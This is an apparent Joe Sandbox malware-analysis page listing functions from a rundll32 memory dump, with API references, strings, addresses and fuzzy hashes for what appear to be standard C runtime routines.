0123456789-+Ee, xrefs: 00007FFDFB66885B, 00007FFDFB668B5A, 00007FFDFB668EF6, 00007FFDFB669207, 00007FFDFB66970D

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: 0123456789-+Ee
API String ID: 0-1347306980
Opcode ID: 62af6ea2983466372bd35c047f9b7cb013b24569505c0cebfce40addfc468e32
Instruction ID: 1946fd6e1b3380d4fa0f0b511aaa2af78b01b339570c066cc72a54b694ce839e
Opcode Fuzzy Hash: 62af6ea2983466372bd35c047f9b7cb013b24569505c0cebfce40addfc468e32
Instruction Fuzzy Hash: 90C27122B0AA8689EB158F29D06067D3762EB55B84F548032DE6D0F7F9CF3DE856D310

Function 00007FFDFB6BC518 Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FFDFB6BC546

Part of subcall function 00007FFDFB6BC188: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BC19C

_get_daylight.LIBCMT ref: 00007FFDFB6BC557

Part of subcall function 00007FFDFB6BC128: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BC13C

_get_daylight.LIBCMT ref: 00007FFDFB6BC568

Part of subcall function 00007FFDFB6BC158: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BC16C

Part of subcall function 00007FFDFB6B3FD8: HeapFree.KERNEL32 ref: 00007FFDFB6B3FEE
Part of subcall function 00007FFDFB6B3FD8: GetLastError.KERNEL32 ref: 00007FFDFB6B3FF8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFDFB6BC7A8), ref: 00007FFDFB6BC58F

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: bec134d6981bf9bb1e30590e9f31629f379ebd8fda4526236520aca5fa132886
Instruction ID: eb9ca4f1cc9e9864f97e28998278bc6b87ad88b3302f050be21328c76c09041f
Opcode Fuzzy Hash: bec134d6981bf9bb1e30590e9f31629f379ebd8fda4526236520aca5fa132886
Instruction Fuzzy Hash: F2515132B1964386E710DF35D8A1DA97760BB48784F449136EA6D8BAF9DF3CE5008B40

Function 00007FFDFB66A93C Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 644COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB650E20: std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB650E35
Part of subcall function 00007FFDFB650E20: std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB650E5A
Part of subcall function 00007FFDFB650E20: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB650E84
Part of subcall function 00007FFDFB650E20: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB650F15

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66B1AD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66B1B3

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00007FFDFB66A9DC, 00007FFDFB66AEA4

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~__invalid_parameter_noinfo_noreturn
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 4156930308-2799312399
Opcode ID: f69c1609c1892791504056f597d347228ed3da079c1fb1cdc82ed42c9df5cbbf
Instruction ID: 5845047ee460f5896af60a926e04a036609bbe647f23f3e916e72f2493c7e4c6
Opcode Fuzzy Hash: f69c1609c1892791504056f597d347228ed3da079c1fb1cdc82ed42c9df5cbbf
Instruction Fuzzy Hash: 3B529326B0AA878DEB518F29C16057C3B62FB45B88B549031DA6E0F7E9CF3DD856D300

Function 00007FFDFB64E3F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 633COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB64F3FE
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB64F404

Strings

p, xrefs: 00007FFDFB64EED2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: p
API String ID: 73155330-2181537457
Opcode ID: 2c42df72c72f48ad2fc86f92d96e91a44f76b8aca17a73dfa2f809f65d5b6261
Instruction ID: 5350889f40b29cf1419c5de81d81b4c92a20c4994ebd95adc35e4616361d47ec
Opcode Fuzzy Hash: 2c42df72c72f48ad2fc86f92d96e91a44f76b8aca17a73dfa2f809f65d5b6261
Instruction Fuzzy Hash: 6042C072B0AA82C6EB04CB25D1A46BD67A1FB85BC4F144135EE6D4BBADDF38E551C300

Function 00007FFDFB651200 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 427COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB651719
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6517EB

Strings

0, xrefs: 00007FFDFB651453

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 0
API String ID: 3668304517-4108050209
Opcode ID: 8add37573c02c95de1b3a35394cae5feb2462f8da911c0ac0900607e43bc5f57
Instruction ID: 9cff6bb77d3e792f2406143df33ffe1ecede9a35cc8fa8f0430a66a908a95bbf
Opcode Fuzzy Hash: 8add37573c02c95de1b3a35394cae5feb2462f8da911c0ac0900607e43bc5f57
Instruction Fuzzy Hash: 26F1DF22B0A68385FF209B64D464BBD67A0EB84798F184136DA6D0BBEDDF7CD594C700

Function 00007FFDFB6AEAD4 Relevance: 5.5, APIs: 3, Instructions: 1005COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6AEF1F
_get_daylight.LIBCMT ref: 00007FFDFB6AEFBF
_get_daylight.LIBCMT ref: 00007FFDFB6AEFD8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: a66c5ecdbf8517e8c349583df3cfc88a5343fc35a3722009606ea0e73e86e8a9
Instruction ID: 439df123c342080859ba2ec88f2b8f577de73efa6333944935de92f2d236e042
Opcode Fuzzy Hash: a66c5ecdbf8517e8c349583df3cfc88a5343fc35a3722009606ea0e73e86e8a9
Instruction Fuzzy Hash: 5B92AF32B0A68386EB249F2494B497937A9FB45784F144135EBAE4FAE9DF3DE500C701

Function 00007FFDFB66D520 Relevance: 5.3, APIs: 3, Instructions: 761COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66D869
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66DBDE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66DF52

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 5fbd79a82917d85c226d7dab1af293861ee26528321767b7e275eff0410bc9db
Instruction ID: 58e1b66fc8aeb9b5ead2ef7352f5b81ec97a032bbf22f88b66798ac18840e8b2
Opcode Fuzzy Hash: 5fbd79a82917d85c226d7dab1af293861ee26528321767b7e275eff0410bc9db
Instruction Fuzzy Hash: 8E62A462B0A69389FB148B65D560ABD37A2BB55B88F148035DE6D1FBE9DF3CE441C300

Function 00007FFDFB631F40 Relevance: 4.8, APIs: 3, Instructions: 334COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB632030
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB632078
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6323D4

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fdb652b1d0977287e878596b02260436952af7c5c38ffa1c51d6cbc0b97d769b
Instruction ID: 5694ce57039968679d1a441eeed071c65bcc0af714c4c6e21a0bfb930c0263a2
Opcode Fuzzy Hash: fdb652b1d0977287e878596b02260436952af7c5c38ffa1c51d6cbc0b97d769b
Instruction Fuzzy Hash: 37C1F262B1A68781EF24AA659560BBA6290BF44BD8F484131DE7D0B7F9DF3CE585C300

Function 00007FFDFB65B420 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 625COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB65B5AE

Strings

, xrefs: 00007FFDFB65B6C8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: c492cbdeec77882fc33e86b3dbef679cc3756de9580c1ea312c9be9f0147435f
Instruction ID: 69d9ea7a5380a33d76ce8d2a1591c1b3fabfd2093e62b0b1e667362f4d46b379
Opcode Fuzzy Hash: c492cbdeec77882fc33e86b3dbef679cc3756de9580c1ea312c9be9f0147435f
Instruction Fuzzy Hash: 27527E727191A147D301CF19C454DBE3BA5EB4E304B590221EBA68BBD5CE38F926DF60

Function 00007FFDFB651B70 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

RoundUpToMultipleOf: integer overflow, xrefs: 00007FFDFB651D80

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: RoundUpToMultipleOf: integer overflow
API String ID: 0-1120416164
Opcode ID: 12beb90a488e71002e957919c527a1839d27672049c103521dfe1f7b4c18e1df
Instruction ID: e7ae527e24b0003a8945037665acc774cb2f841161f8c894340ff73d3d271126
Opcode Fuzzy Hash: 12beb90a488e71002e957919c527a1839d27672049c103521dfe1f7b4c18e1df
Instruction Fuzzy Hash: 6DE1B033729A868ADB10DB25E460AAD7760F789798F405225EAAD07BEDDF3DD508C700

Function 00007FFDFB6B458C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FFDFB6B30C6), ref: 00007FFDFB6B4600

Strings

GetLocaleInfoEx, xrefs: 00007FFDFB6B45B9

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 1adaf8945a3179bee476722b2900e0b02c79617b98e36b7f3fb2c7f3c577019d
Instruction ID: 8ddad9eca10d8a8d9d93f10c4b835e8c374ed33694313e0bc7a781028b545c35
Opcode Fuzzy Hash: 1adaf8945a3179bee476722b2900e0b02c79617b98e36b7f3fb2c7f3c577019d
Instruction Fuzzy Hash: A001D625B09B4385EB049B56B4609B6A360EF88BD0F588035DF6D4BBFECE3CD5418780

Function 00007FFDFB64AC70 Relevance: 3.5, APIs: 2, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e0ea48b372b95db0a712fa30e880c90e63a10e89cd0b9dcfd25c0a4f61986e56
Instruction ID: 7d24307139405c0463e8aec4ff12e7b1cba7853885da13402d48bfd7ab1405e7
Opcode Fuzzy Hash: e0ea48b372b95db0a712fa30e880c90e63a10e89cd0b9dcfd25c0a4f61986e56
Instruction Fuzzy Hash: 5322F377B0AA8396EB00DB65D0506AD7761FB84B88F445032DB5E4BBADDF38E649C340

Function 00007FFDFB653D50 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB654014
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6542E8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 11f5de72f526e56ffede2c859eec915e22d73010e3aa8757ccf45b0e156b2168
Instruction ID: dfc1ea9f2786cbd452725955a7d9a077cbd880de03db84ede4e8470309f5c91f
Opcode Fuzzy Hash: 11f5de72f526e56ffede2c859eec915e22d73010e3aa8757ccf45b0e156b2168
Instruction Fuzzy Hash: 75021522B19A8689FB258B65D820BFD67B1AB58B88F044131DE5D1BBEDDE3CD5918300

Function 00007FFDFB642F10 Relevance: 3.4, APIs: 2, Instructions: 435COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6430A1
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6434CF

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 72f2507e227890096c4a9a7a1e9ae18799088a08bee89f8f25ca783eefe55fe6
Instruction ID: 4efe2045467020f574d0486fc860a3794aefa6ed96c3c10b2edf47b8a8acf5e6
Opcode Fuzzy Hash: 72f2507e227890096c4a9a7a1e9ae18799088a08bee89f8f25ca783eefe55fe6
Instruction Fuzzy Hash: 7602BB72B0AA83D5EB158B60D464BBD67A1FB44B94F544231EA6D4BAEDCF3DE640C300

Function 00007FFDFB64B380 Relevance: 3.4, APIs: 2, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90417af28ed052ca6951da470d2a174225385a0c833f4be3f9d1c65a641812f1
Instruction ID: afbca9cb738e174f7141ce4e21688328f32ad3e23193833dfb7fcde593539fb9
Opcode Fuzzy Hash: 90417af28ed052ca6951da470d2a174225385a0c833f4be3f9d1c65a641812f1
